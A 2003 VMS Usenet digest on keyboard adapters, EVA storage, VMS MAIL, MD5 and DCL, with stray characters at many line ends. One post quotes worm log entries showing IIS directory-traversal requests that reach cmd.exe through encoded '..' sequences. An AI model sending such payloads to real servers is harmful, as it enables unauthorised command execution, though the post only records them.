message4 news:Ysd2q9KROUC1-pn2-n1U1UE1zdpPb@news.xs4all.nl...= > On Tue, 7 Oct 2003 03:56:30 UTC, healyzh@aracnet.com wrote:l >iK > } OK, I'm not sure how to take this, does the adapter convert USB-to-PS2,D or > } PS2-to-USB?e >dD > With most, if not all, current keyboards and mice that come with aF > USB-to-PS2 converter (keyboard/mouse cable ends in USB plug, a smallC > USB-socket-to-PS2-plug allows it to plug into a PS2 machine), the H > converter itself is pretty dumb, and the logic inside the kbd or mouseE > is dual-protocol, detecting whether it's connected to USB or to PS21D > via the adapter thingie. The adapter is useless for any device but > that keyboard or mouse.r >:G > Going the other way, from a PS2 keyboard and mouse to a system having ' > only USB you'll need a converter likenH > http://startech.com/ststore/itemdetail.cfm?ProductID=USB2PS2&topbar=toC > pbaruf.htm . There are also USB hubs that offer this, and often at# > serial and parallel port as well.I >mJ > } I've seen a PS2-to-USB converter and have been thinking very seriously abouteH > } getting one to try on my PowerMac (I want a decent logitech 3-button mouse). I > } I'm already using an ADB-to-USB converter so that I can have a decente > } keyboard on the system.  >wD > Why would you want a PS2-to-USB converter when almost all LogitechD > mice are already USB, and could plug into the ADB-to-USB converterB > (don't you mean USB-to-ADB?), by way of an USB hub if necessary? >8G > I'd also try putting a USB interface card into the machine, of course 2 > when supported by the OS version you're running. >K > --@ > // Rik Steenwinkel  #  VMS mercenary  #  Enschede, Netherlands > // 1024D/CDBAE5C1    ------------------------------  % Date: Tue, 07 Oct 2003 17:44:45 +0200a$ From: Michael Unger <unger@decus.de>& Subject: Re: DS15 systems have arrived9 Message-ID: <blupl1$ftq58$1@ID-152801.news.uni-berlin.de>e  - On 2003-10-07 17:11, "Fred Kleinsorge" wrote:9  J > The new LK463 has a USB connector by default.  The dongle provides a PS2           ^^^^^s# > interface, and comes with the KB.  > M > In reality most keyboards being built these days are being built to go bothwN > ways.  There are PS2->USB dongles and USB->PS2 dongles.  All they do is tellK > the KB which interface they need to deal with, and provide the connection M > (there isn't any real logic inside) - the KB then senses the personality ittM > needs to use.  And I don't know that they are "universal" across KB makers.c >  > [...]3  G Do you happen to know the *exact* *requirements* for the DS10 and DS15?d (You should, of course ...)2  E According to the latest QuickSpecs -- just a few days old -- the *US*lH keyboard has to be a LK*463*-A2, all other languages use a LK462-xx type! keyboard. (Could well be a typo.)a   Michaeln   --  ; Real names enhance the probability of getting real answers.s@ Please do *not* send "Security Patch Notifications" or "SecurityA Updates"; this system isn't running a Micro$oft operating system. = And don't annoy me <mailto:postmaster@[127.0.0.1]> please ;-)i   ------------------------------  * Date: Tue, 7 Oct 2003 12:02:53 -0400 (EDT)+ From: Lord Isildur <isildur@andrew.cmu.edu>o& Subject: Re: DS15 systems have arrivedH Message-ID: <Pine.GSO.4.58-035.0310071200200.1692@unix15.andrew.cmu.edu>  C Now, if i could use my LK201 with it, i'd be more interested *grin* F the ps/2 interface is one of the (many) horrendous kludges from the PCF world that unfortunately infected everyone else too.. the sooner we're rid of it the better. J On the same note, as long as the machine has a serial console, who needs a	 keyboard?    Isildur     * On Tue, 7 Oct 2003, Fred Kleinsorge wrote:  J > The new LK463 has a USB connector by default.  The dongle provides a PS2# > interface, and comes with the KB.  > M > In reality most keyboards being built these days are being built to go both N > ways.  There are PS2->USB dongles and USB->PS2 dongles.  All they do is tellK > the KB which interface they need to deal with, and provide the connectioneM > (there isn't any real logic inside) - the KB then senses the personality itrM > needs to use.  And I don't know that they are "universal" across KB makers.a >oJ > The MS wireless KB I just got for my wife has PS2 connections, and comes > with a USB dongle. >rK > There is a company called PI that sells a true converter called a Y-mouse N > that will take "standard" PS2 keyboards and mice, and will convert them to aI > USB connection.  It has real logic inside it.  It won't handle "custom"hK > keyboards like the LK411 correctly - but they will gladly do a custom OEM  > version for you. >  > 8 > "Rik Steenwinkel" <rsteenw@xs4all.nl> wrote in message6 > news:Ysd2q9KROUC1-pn2-n1U1UE1zdpPb@news.xs4all.nl...? > > On Tue, 7 Oct 2003 03:56:30 UTC, healyzh@aracnet.com wrote:s > > M > > } OK, I'm not sure how to take this, does the adapter convert USB-to-PS2,i > or > > } PS2-to-USB?t > >iF > > With most, if not all, current keyboards and mice that come with aH > > USB-to-PS2 converter (keyboard/mouse cable ends in USB plug, a smallE > > USB-socket-to-PS2-plug allows it to plug into a PS2 machine), thecJ > > converter itself is pretty dumb, and the logic inside the kbd or mouseG > > is dual-protocol, detecting whether it's connected to USB or to PS2vF > > via the adapter thingie. The adapter is useless for any device but > > that keyboard or mouse.r > >iI > > Going the other way, from a PS2 keyboard and mouse to a system having ) > > only USB you'll need a converter liketJ > > http://startech.com/ststore/itemdetail.cfm?ProductID=USB2PS2&topbar=toE > > pbaruf.htm . There are also USB hubs that offer this, and often a % > > serial and parallel port as well.r > >dL > > } I've seen a PS2-to-USB converter and have been thinking very seriously > aboutaJ > > } getting one to try on my PowerMac (I want a decent logitech 3-button	 > mouse). K > > } I'm already using an ADB-to-USB converter so that I can have a decent  > > } keyboard on the system.  > >hF > > Why would you want a PS2-to-USB converter when almost all LogitechF > > mice are already USB, and could plug into the ADB-to-USB converterD > > (don't you mean USB-to-ADB?), by way of an USB hub if necessary? > >nI > > I'd also try putting a USB interface card into the machine, of courseh4 > > when supported by the OS version you're running. > >a > > --B > > // Rik Steenwinkel  #  VMS mercenary  #  Enschede, Netherlands > > // 1024D/CDBAE5C1o >  >d >1   ------------------------------  # Date: Tue, 07 Oct 2003 16:22:18 GMTr9 From: "Fred Kleinsorge" <my-last-name@stardotzko.dec.com> & Subject: Re: DS15 systems have arrived2 Message-ID: <_KBgb.6501$Xi1.1204@news.cpqcorp.net>  L Having worked on and used the LK keyboard since the Pro300 and VT200...  theI early LK400's were pretty much every bit as good as the LK200 and had thew extra keys.   K Keyboard quality has gone downhill from the days of individual key switches- and true n-key rollover.  D And yes, the PC keyboard was quite a setback for KB design.  WindowsL solidified it.  The PS2 mouse was even worse (what do you mean no ID, and no! way to tell byte 1 from byte 2?).e  K The USB devices are the first step back towards a more rational design in a:H long time (although even there they had some brain farts - like how theyF handle some specific keys as a bitmask instead of a keycode, and theirD default mode of sending a KB report every 20ms - even if it's null).    8 "Lord Isildur" <isildur@andrew.cmu.edu> wrote in messageB news:Pine.GSO.4.58-035.0310071200200.1692@unix15.andrew.cmu.edu... > E > Now, if i could use my LK201 with it, i'd be more interested *grin*tH > the ps/2 interface is one of the (many) horrendous kludges from the PCH > world that unfortunately infected everyone else too.. the sooner we're > rid of it the better.tL > On the same note, as long as the machine has a serial console, who needs a > keyboard?g >e	 > Isilduro >o >h, > On Tue, 7 Oct 2003, Fred Kleinsorge wrote: > L > > The new LK463 has a USB connector by default.  The dongle provides a PS2% > > interface, and comes with the KB.g > >wJ > > In reality most keyboards being built these days are being built to go bothK > > ways.  There are PS2->USB dongles and USB->PS2 dongles.  All they do ise tellB > > the KB which interface they need to deal with, and provide the
 connectionL > > (there isn't any real logic inside) - the KB then senses the personality itG > > needs to use.  And I don't know that they are "universal" across KBw makers.  > >eL > > The MS wireless KB I just got for my wife has PS2 connections, and comes > > with a USB dongle. > >sE > > There is a company called PI that sells a true converter called ae Y-mouse K > > that will take "standard" PS2 keyboards and mice, and will convert themp to aK > > USB connection.  It has real logic inside it.  It won't handle "custom" I > > keyboards like the LK411 correctly - but they will gladly do a customs OEMp > > version for you. > >o > >.: > > "Rik Steenwinkel" <rsteenw@xs4all.nl> wrote in message8 > > news:Ysd2q9KROUC1-pn2-n1U1UE1zdpPb@news.xs4all.nl...A > > > On Tue, 7 Oct 2003 03:56:30 UTC, healyzh@aracnet.com wrote:Y > > >sC > > > } OK, I'm not sure how to take this, does the adapter convertr USB-to-PS2,  > > or > > > } PS2-to-USB?v > > >aH > > > With most, if not all, current keyboards and mice that come with aJ > > > USB-to-PS2 converter (keyboard/mouse cable ends in USB plug, a smallG > > > USB-socket-to-PS2-plug allows it to plug into a PS2 machine), thetL > > > converter itself is pretty dumb, and the logic inside the kbd or mouseI > > > is dual-protocol, detecting whether it's connected to USB or to PS2hH > > > via the adapter thingie. The adapter is useless for any device but > > > that keyboard or mouse.o > > > K > > > Going the other way, from a PS2 keyboard and mouse to a system having>+ > > > only USB you'll need a converter likedL > > > http://startech.com/ststore/itemdetail.cfm?ProductID=USB2PS2&topbar=toG > > > pbaruf.htm . There are also USB hubs that offer this, and often at' > > > serial and parallel port as well.  > > >rD > > > } I've seen a PS2-to-USB converter and have been thinking very	 seriouslys	 > > aboutbL > > > } getting one to try on my PowerMac (I want a decent logitech 3-button > > mouse)..F > > > } I'm already using an ADB-to-USB converter so that I can have a decent > > > } keyboard on the system.w > > >dH > > > Why would you want a PS2-to-USB converter when almost all LogitechH > > > mice are already USB, and could plug into the ADB-to-USB converterF > > > (don't you mean USB-to-ADB?), by way of an USB hub if necessary? > > > K > > > I'd also try putting a USB interface card into the machine, of courser6 > > > when supported by the OS version you're running. > > >  > > > --D > > > // Rik Steenwinkel  #  VMS mercenary  #  Enschede, Netherlands > > > // 1024D/CDBAE5C1s > >t > >y > >h   ------------------------------  # Date: Tue, 07 Oct 2003 16:59:10 GMTr9 From: "Fred Kleinsorge" <my-last-name@stardotzko.dec.com>b& Subject: Re: DS15 systems have arrived2 Message-ID: <yhCgb.6511$P81.1481@news.cpqcorp.net>  J We have respun the "VMS" keyboard as a USB keyboard (the LK463) which willI work on PS2 style systems as well (using the included dongle).  The older I country-specific LK462 keyboards are still in stock and I don't think arenH being replace by default yet.  Some keyboards - like the VMS Japanese KBI will never be done because of volume (but we have a Y-Mouse converter for  the existing KB).u  H We needed to respin the keyboard into "carbon black" and we needed a USBB keyboard for the Marvel - so this kills both birds with one stone.  ) The DS10/15 use the PS2 style connectors.t    1 "Michael Unger" <unger@decus.de> wrote in messages3 news:blupl1$ftq58$1@ID-152801.news.uni-berlin.de...-/ > On 2003-10-07 17:11, "Fred Kleinsorge" wrote:: >+L > > The new LK463 has a USB connector by default.  The dongle provides a PS2 >           ^^^^^ % > > interface, and comes with the KB.o > > J > > In reality most keyboards being built these days are being built to go bothK > > ways.  There are PS2->USB dongles and USB->PS2 dongles.  All they do ist tellB > > the KB which interface they need to deal with, and provide the
 connectionL > > (there isn't any real logic inside) - the KB then senses the personality itG > > needs to use.  And I don't know that they are "universal" across KBw makers.. > > 	 > > [...]e >sI > Do you happen to know the *exact* *requirements* for the DS10 and DS15?e > (You should, of course ...)n >nG > According to the latest QuickSpecs -- just a few days old -- the *US*eJ > keyboard has to be a LK*463*-A2, all other languages use a LK462-xx type# > keyboard. (Could well be a typo.)a >r	 > Michaell >h > --= > Real names enhance the probability of getting real answers.tB > Please do *not* send "Security Patch Notifications" or "SecurityC > Updates"; this system isn't running a Micro$oft operating system.i? > And don't annoy me <mailto:postmaster@[127.0.0.1]> please ;-)a >e   ------------------------------   Date: 7 Oct 2003 08:08:49 -0700l$ From: svieth@wi.rr.com (Scott Vieth); Subject: Re: EVA question: How many vdisks should I create? = Message-ID: <5a85bce2.0310070708.7a596ff2@posting.google.com>   D > This is all news to me.  Our normal config would be as few LUNs asL > possible, with as many disk spindles in the group as possible.  Regardless > of the OS.  B This is not the "best" way to do things.  Other OSes have built-inF throttling mechanisms which regulate the number of pending IO requests? per LUN.  For example, Windows or Tru64 have a "queue depth" ofo2 something like 32.  Don't quote me on that number.  A If you have one LUN (on an EVA) served to a Windows box, and thataC Windows box has 32 pending IO request to that LUN, it will wait fortD one of the IOs to complete before it issues the next IO to that LUN.  E So if you have one LUN on an EVA (still taking Windows here), you canoF have (1 x 32) pending IO requests.  If you create ten LUNs on the sameD EVA and present them to the same Windows box, now you can have (10 x' 32) pending IO requests on that system.e  F *This* is why I originally asked the question about having one LUN vs.
 many LUNs.  D On a Windows system or Tru64 system, you want *more* LUNs so you can throw more IOs at an EVA.   D On VMS, it doesn't matter.  The OS doesn't throttle IO requests likeC that (which is why I can bury my HSG80s with VMS 7.3-1 and make the  HSG80s go tits-up).@  E I don't have a Windows box connected to my EVA (except for the SANMA)LF to test this out.  I've got a Solaris box (which probably has the same? "you can only issue 'n' IOs per LUN before I'll stop sending IOeF requests" throttle that Tru64 and Windows do) connected to the EVA butB I don't have time to tear down the single LUN and divide it into aF whole bunch of LUNs in the name of performance.  The IO performance onE that system is not as critical as the performance of our VMS systems.k  K > There are other more pressing considerations in the area of managing verypK > large LUNs (backup, restore, dept. ownership of xxGB, whatever).  Most ofHI > these can be alleviated by changes in operating procedures (though, notiK > always the political ones can be solved).  If that's not an issue in yourr@ > shop, then larger LUNs should work fine, regardless of the OS.  E Since VMS does not have the "throttling" mechanism I mentioned above,.F we are going to focus our design on matching the number of LUNs to the4 number of backup streams we want to run in parallel.  D Since we have four DLT8000 tape drives directly attached to the ES40A where our production app (IDX) runs, we are going to present foureB LUNS.  Yes, we could get away with one HUGE lun, but then we could only run one backup stream.o  B If anyone from VMS Engineering or Storage Engineering reads what IE posted above and disagrees with the way I explained the throttling inaF various OSes, please speak up.  This topic was addressed in one of theF EVA-related seminars in Atlanta.  I don't have the name of the seminarE at-hand but I could dig it up if someone wants to research this issueyC further.  The Powerpoint presentation from that seminar is probably. available online.-   Thanks,- -Scott Vieth :^)   ------------------------------   Date: 7 Oct 2003 07:38:07 -0700b$ From: svieth@wi.rr.com (Scott Vieth); Subject: Re: EVA question: How many vdisks should I create?4= Message-ID: <5a85bce2.0310070638.6652d8ac@posting.google.com>t  ` "David J. Dachtera" <djesys.nospam@fsi.net> wrote in message news:<3F7A288E.E7067C5C@fsi.net>...I > I still haven't even seen an EVA (probably won't unless I can go to the H > bootcamp in November), I've only read about them here in the group and > on-line at hp's website.  C David, please feel free to drive up to Milwaukee and see our shop. iF The EVA is in production and I'm currently migrating our data from HSGC to EVA.  Drop me a line via email when you are interested in seeing  the EVA.  D [That invite goes for anyone else in the Midwest as well.  Just drop@ me a line via email if you are interested in stopping-by to talk  storage, SANs, VMS or whatever.]  H > So far, it all seems to add a lot of questionably necessary complexityG > for very little improvement. Seems to me one can do better laying outuJ > RAIDsets on HSxes one's self and avoid some of the pitfalls mentioned byC > yourself and other posters. Add to that the fact the HSxes can be E > commanded in batch jobs via HSDSA or HSZPAD$SCSITERM and it seems a0 > negative gain.  B There is a tool called SSSU which allows you to manipulate the EVAC from VMS DCL procedures.  It's similar to the Command Scripter toola# that is used with HSG-based arrays.   D As far as "laying things out by hand and doing a better job than theF EVA", that's not true.  You can't beat the way the EVA handles things.  I > Are there any advantages to EVA that can't be realized by judicious useI  > of the preceding technologies?  D In addition to being super-high-performance (when compared to HSGs), the EVA:+ 1) Can't be drowned in IOs by OpenVMS 7.3-1T" 2) Takes a lot less time to manage1 3) Is very easy to expand when you need more roomt' 4) Takes up less floor space (sq ft/GB)c 5) Stays crispy in milk. :^)  D The EVA *is* the next generation of storage.  It is  better than the! HSG-based arrays in every aspect.l  E The only exception is when you go through CLI-withdrawal when you are E first setting the damn thing up.  I had a very strong urge to connectID my serial console cable (all of my HSG-based arrays are managed withE ConsoleWorks) to the EVA.  Nowhere to plug it (the console cable) in.7 :^)2   Thanks,2   -Scott   ------------------------------   Date: 7 Oct 2003 07:58:15 -0700R$ From: svieth@wi.rr.com (Scott Vieth); Subject: Re: EVA question: How many vdisks should I create?e= Message-ID: <5a85bce2.0310070658.44f3d3bc@posting.google.com>o  d "Bill Todd" <billtodd@metrocast.net> wrote in message news:<8eGdnYB3Xof8ceOiU-KYuA@metrocast.net>...M > Too bad:  while with small groups the bandwidth and/or IOPS provided by notEK > having an idle spare can be significant, once you get over a dozen or twoDH > disks it's lost in the noise - while being able to use spares flexiblyM > across multiple groups remains useful.  I'd have expected EVA to offer bothr
 > options. >  > - bill   Bill:t  ? The EVA doesn't have a provision for "hot spares".  Instead all F spindles are in use all the time.  The "Disk Failure Protection" levelB on a disk group leaves a certain amount of empty space in case you  lose a disk from the disk group.  @ When a disk fails in a disk group, the data that was on there isD magically re-created and distributed across the remaining members in6 the disk group.  It's actually quite elegant to watch.  F The Rule of Thumb for "spare space" is that if you want the ability toE tolerate the loss of one disk, you will lose two disks worth of space|? (this is because of RAID1) in your disk group.  If you want thesB ability to tolerate two disk failures in your disk group, you willE lose four disks worth of space.  Keep this in mind when planning your. disk group.-  C The most important thing to remember is that even when "sparing" is F turned on, ALL of the spindles are at work ALL of the time.  There areF no idle disks just waiting to be called into server (like the SPARESET
 on an HSG80).6   -Scott   ------------------------------   Date: 7 Oct 2003 07:29:12 GMT < From: gartmann@non.immunbio.mpg.de.sens (Christoph Gartmann)I Subject: Re: Fee Based Email (From Re: Process's PreciseMail AntiSpam...) 0 Message-ID: <bltq08$503$1@n.ruf.uni-freiburg.de>  J In article <blt38n$27a$1@news.mdx.ac.uk>, david20@alpha2.mdx.ac.uk writes:p >In article <blrfs6$8l3$1@n.ruf.uni-freiburg.de>, gartmann@non.immunbio.mpg.de.sens (Christoph Gartmann) writes:L >>In article <blpfc4$ohi$1@news.mdx.ac.uk>, david20@alpha2.mdx.ac.uk writes:M >>>This isn't the case. The TSL/SSL encryption is between central mailhubs it R >>>is NOT end to end encryption of a mail message content like for instance PGP orL >>>SMIME. To the end users sending or receiving the mail message their is noR >>>indication that it has been encrypted in it travels - the sender just sends theP >>>message. If SPAM is passed to central mailhub A destined for a user served byH >>>central mailhub B then it will be passed along the encrypted channel. >>M >>Ok, I understand. But as long as SPAM is sent to mailhub A the spammer willhP >>have to pay and there is no need for an additional fee. This will work as longJ >>as most e-mails crossing the net are still terminated with a <CR>.<CR> . >>O >I don't see this with your scheme. International net company A is not going toi8 >detect such mail and hence won't charge anybody for it.  H This is true but if there is a general requirement for International netN company A to pay for e-mails the company has to expect a bill for all kinds ofN e-mails that it sends out. Whether the other end is able to detect any specialL mail is of no importance. If International net company A is lucky they won'tK get a bill for the case discussed above. As they don't know this in advance0N they will make sure that they bill their customers ("just in case"). Otherwise3 they risk a big monetary loss in case of a spammer.n  N >>>As I said you could get around this by looking for connections to port 465,G >>>the STARTTLS command and unencrypted mail. But that is rather messy.s >>Q >>If we assume that most messages still have the <CR>.<CR> bytes there is time tomN >>develop a better technical solution for the e-mail fee. It looks as if it is >>still doable.b >>N >You have a little while but support for TSL/SSL is growing rapidly - a numberJ >of freeware MTA's such as EXIM support it as well as commercial MTAs and L >also Microsoft Exchange - though according to my PMDF manual their version P >is "different" hence PMDF has to provide an additional configuration keyword ifO >you want to support TSL communication to Microsoft Exchange systems as well asl >standards compliant systems.   M Ok, I see. Then the question is whether I will end up with no e-mail any moreiK if I decide not to accept messages over encrypted channels from non-trustedeL sites. I can imagine that many people will think like me. This won't even beO bad. Mails over encrypted channels are free but will only estblished to trustedvL sites. All other stuff is subject to the fee and I am the one who is able to decide who has to be billed ;-)o   Regards,    Christoph Gartmannt   -- nE  Max-Planck-Institut fuer      Phone   : +49-761-5108-464   Fax: -452o  ImmunbiologieI  Postfach 1169                 Internet: gartmann@immunbio dot mpg dot de   D-79011  Freiburg, Germanyl9                http://www.immunbio.mpg.de/home/menue.htmle   ------------------------------  % Date: Tue, 07 Oct 2003 06:47:33 -0400f* From: JF Mezei <jfmezei.spamnot@istop.com>& Subject: MAIL: importing of text files) Message-ID: <3F82998C.F3669066@istop.com>n  L OK, I have read various threads about the ability of VMS mail to import text* files that are formatted as mail messages.   I tried the following:? from DW MAIL, I EXTRACT a mail message to TEMP.TXT with header.fS I must then edit the TEMP.TXT to add the form feed character at the top of message.a   Then, from character cell mail:'   SET FILE TEMP.TXTe DIRt 1a COPY OUTBOX [.MAILBOX]MAIL.MAI  L The first 3 lines work fine and the message displays. But the copy statementJ does nothing. No error message, but nothing is added to the MAIL.MAI file.   ------   What I did find to work was:   SET FILE TEMP.TXT8 DIR@ 1n COPY MAIL TEMP.MAI SET FILE TEMP.MAId DIR MAIL 1s COPY OUTBOX [.MAILBOX]MAIL.MAI   -----------------e  L In other words, I have only been able to copy text files to a new .MAI file, not to an existing one. G To copy to an existing .MAI file, one must copy from another .MAI file.e  H Is there a way to directly copy a text file into an existing .MAI file ?   ------------------------------  # Date: Tue, 07 Oct 2003 12:55:26 GMT-9 From: Hein van den Heuvel <hein_netscape@eps.zko.dec.com>A* Subject: Re: MAIL: importing of text files/ Message-ID: <3F82B6F9.F1C7418A@eps.zko.dec.com>S   JF Mezei wrote:a   >eN > The first 3 lines work fine and the message displays. But the copy statementL > does nothing. No error message, but nothing is added to the MAIL.MAI file. >o  A You fat-fingered something. This works as expected on my 7.1 box:oJ [Or your editted mail file still was not exactly like a mail file.Stream?]   $ dir/full tmp.txt   Directory U$1:[HEIN]  3 TMP.TXT;2                     File ID:  (60767,3,0)l :e File organization:  Sequential :cG Record format:      Variable length, maximum 0 bytes, longest 236 bytesi4 Record attributes:  Carriage return carriage control RMS attributes:     None :  $ MAIL MAIL> set file tmp.txt	 MAIL> diri/     # From                 Date         Subjecto  1     1 MIASYS::HEIN         10-NOV-2003  TEST TEST    MAIL> 1a  K                                                        U$1:[HEIN]TMP.TXT #1m4 From:   MIASYS::HEIN         10-NOV-2003 11:02:24.71 To:     hein CC:t Subj:   TEST TESTs :a MAIL> copy test mail.mai Folder TEST does not exist. / Do you want to create it (Y/N, default is N)? yv& %MAIL-I-NEWFOLDER, folder TEST created MAIL> set file mail.mai  MAIL> dir test/     # From                 Date         Subjectt1     1 MIASYS::HEIN         10-NOV-2003  TEST TESTn MAIL> set file tmp.txt MAIL> 1lK                                                        U$1:[HEIN]TMP.TXT #1d4 From:   MIASYS::HEIN         10-NOV-2003 11:02:24.71 To:     hein CC:E Subj:   TEST TESTr :" MAIL> copy test mail.mai MAIL> set file mail.maiE MAIL> dir testP                                                                             TEST/     # From                 Date         Subjectn  1     1 MIASYS::HEIN         10-NOV-2003  TEST TEST 1     2 MIASYS::HEIN         10-NOV-2003  TEST TEST  MAIL>i   ------------------------------  $ Date: Tue, 7 Oct 2003 01:58:28 -07006 From: "Doc.Cypher" <Use-Author-Address-Header@[127.1]> Subject: Re: MD5 source code ?6 Message-ID: <200310070858.h978wSs9004792@www.aarg.net>  L On Mon, 06 Oct 2003, peter@langstoeger.at (Peter 'EPLAN' LANGSTOEGER) wrote:K >Does anyone have a source code ready which does a MD5 checksum of an inputf2 >file and puts the hash/checksum in a DCL symbol ? >eN >I know I could do it myself but I'm lazy^Wshort of time and ask here first...  M There's a md5 routine in WASD.  Doesn't put the hash in a symbol, but all the- hard work is done.  H You can find md5.c and md5.h in http://vmsbox.cjb.net/ht_root/src/httpd/   HTHc     Doc. -- oK OpenVMS.         Eight out of ten hackers prefer *other* operating systems.eK [PGP Key via finger]     http://openvms-rocks.com     http://vmsbox.cjb.netB   ------------------------------   Date: 7 Oct 2003 07:44:41 -0700T1 From: byer@mail.ourservers.net (Robert Alan Byer)c Subject: Re: MD5 source code ?= Message-ID: <c4bfc78e.0310070644.135ba725@posting.google.com>p  \ hoff@hp.nospam (Hoff Hoffman) wrote in message news:<5Bkgb.6432$YA.1776@news.cpqcorp.net>...o > In article <3phgb.81032$qU6.1291982@news.chello.at>, peter@langstoeger.at (Peter 'EPLAN' LANGSTOEGER) writes:sM > :Does anyone have a source code ready which does a MD5 checksum of an inputu4 > :file and puts the hash/checksum in a DCL symbol ? > : P > :I know I could do it myself but I'm lazy^Wshort of time and ask here first... > K >   The MD5 code is around -- for instance, there are pointers to pre-built0I >   MD5 executables referenced in the OpenVMS Frequently Asked Questions iB >   (FAQ), and there is a link from there to the RFC and the code. > M >   IIRC, please also realize that MD5 does expose a known bug in the OpenVMS L >   VAX C compiler's optimizer.  (If this is for use on OpenVMS VAX, compile3 >   the C code /NOOPT.   Or use one of the images.)s >   C Actually, if I recally correctly, it will compile with /OPTIMIZE on8( VAX if you use the /OPTIMIZE=NODISJOINT.  = (ran into this with SSLeay and OpenSSL on OpenVMS wayy back.)p   ------------------------------  $ Date: Tue, 7 Oct 2003 12:48:33 -0400 From: norm.raphael@metso.com, Subject: O.T. slightly, Re: DCL improvementsQ Message-ID: <OF425A3234.D1A0607D-ON85256DB8.005ADB20-85256DB8.005BEE9B@metso.com>n  7 Since Charlie Hammond didn't bring it up, both of theset2 should actually have a trailing single-quote to be; correct syntax (although we all know the code as it appearsa will execute as expected).   / > $goto 'mylabel   $goto 'mylabel'x   andl   / $   if ... then goto case'ie     $   if ... then goto case'i'   as DCL_CHECK will point out.        C From:  "Hans Vlems" <hvlems.nieuw@zonnet.nl> on 10/04/2003 05:26 PM'  7 Please respond to "Hans Vlems" <hvlems.nieuw@zonnet.nl>o   To:    Info-VAX@Mvb.Saic.Com cc:,    Subject:    Re: DCL improvements      9 "JF Mezei" <jfmezei.spamnot@istop.com> schreef in berichte# news:3F7F2B16.B7DFD38A@istop.com...k > H Vlems wrote:D > > more to do with coding style and preferences than functionality. There'st no3 > > such thing as a computed GOTO in DCL either :-)t >  >t > $mylabel = "LOOP1" > $goto 'mylabel >h >d  > I call that a "computed" goto.  ? I was thinking FORTRAN. OTOH your example may be expanded into:e   $ i=1o $loop: $   if ... then goto case'im .v
 $   goto loopy .l $ case1: .e   ------------------------------  % Date: Tue, 07 Oct 2003 07:11:09 -0400p* From: JF Mezei <jfmezei.spamnot@istop.com>$ Subject: OT: Another microsoft virus) Message-ID: <3F829F4D.1201D6C7@istop.com>e  L Saw what appears to be another episode of a web browser virus  la Red Code.  N VMS may not ve vulnerable, but these viruses affect network performance at the< ISP level, as well as clogging up your web server log files.   Here is just a sample:M >66.68.252.154 - - [04/Oct/2003:12:20:19 +0000] "GET /scripts/root.exe?/c+dire HTTP/1.0" 404 60 "" ""4 >66.68.252.154 - - [04/Oct/2003:12:20:33 +0000] "GETG /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 60 "" ""i4 >66.68.252.154 - - [04/Oct/2003:12:20:42 +0000] "GETH /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 60 "" ""4 >66.68.252.154 - - [04/Oct/2003:12:20:44 +0000] "GETH /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 60 "" ""4 >66.68.252.154 - - [04/Oct/2003:12:20:48 +0000] "GETH /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 60 "" ""4 >66.68.252.154 - - [04/Oct/2003:12:20:52 +0000] "GETH /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 60 "" ""4 >66.68.252.154 - - [04/Oct/2003:12:21:02 +0000] "GETI /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 60 "" ""o4 >66.68.252.154 - - [04/Oct/2003:12:21:06 +0000] "GETG /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 60 "" ""t4 >66.68.252.154 - - [04/Oct/2003:12:21:08 +0000] "GETK /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 60 "" ""l4 >66.68.252.154 - - [04/Oct/2003:12:21:10 +0000] "GETG /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 60 "" ""s   ------------------------------  % Date: Tue, 07 Oct 2003 14:57:07 +0100l From: "Tom B." <tom@here.now> ' Subject: Re: Read this and weap, twats! / Message-ID: <blugnt$qni$1@newsg4.svr.pol.co.uk>'   Diogenes wrote:    > Sinister Midget wrote: >t >> Read that, Windozer.  > 6 > Read what?  It must be true: linux makes you stupid.  D The fact that you couldn't read it demonstrates that you need to get yourself a *real* newsreader.c -- 3 Registered Linux user #328961.   ------------------------------  # Date: Tue, 07 Oct 2003 16:54:38 GMTo' From: "Diogenes" <diogenes@Laertius.gr> ' Subject: Re: Read this and weap, twats!o@ Message-ID: <b5834a558a99e91f2c16d88d86f86058@news.teranews.com>  
 Tom B. wrote:n > Diogenes wrote:  >  >> Sinister Midget wrote:  >>   >>> Read that, Windozer. >>  7 >> Read what?  It must be true: linux makes you stupid.h > F > The fact that you couldn't read it demonstrates that you need to get > yourself a *real* newsreader.n  8 Have one can't you tell?  Sheezz linux makes you stupid.   -- m Diogenes Laertius    ------------------------------  $ Date: Fri, 3 Oct 2003 13:33:11 -0500% From: "Jim" <jim.gould@uwmf.wisc.edu>p+ Subject: Slow Shadow Copy with 36 GB drivest- Message-ID: <blkfd7$1hh$1@news.doit.wisc.edu>a  J I have HP support stumped on this one so I thought someone here could help me.m  K We recently upgraded a pair of HSJ40 controllers to firmware version V37J-1bL so that we could replace our aging 2GB and 4GB drives with new 36 GB drives.F We are running VMS 6.2 and applied the latest shadowing patch (ALPSHAD 14_62.)c  K Note:  We can't upgrade to a new version of VMS without paying our softwarer vendor huge $$$.  F Everything works fine except that shadow copies take about 24 hours toL complete.  Other drives, such as 9 GB drives take about 2 hours to complete.  J Is this an inherent problem with VMS 6.2 and large drives or is there some tweak that we missed somewhere?y  J Help would be appreciated since we need to keep this ancient monster alive for another year :  )D  
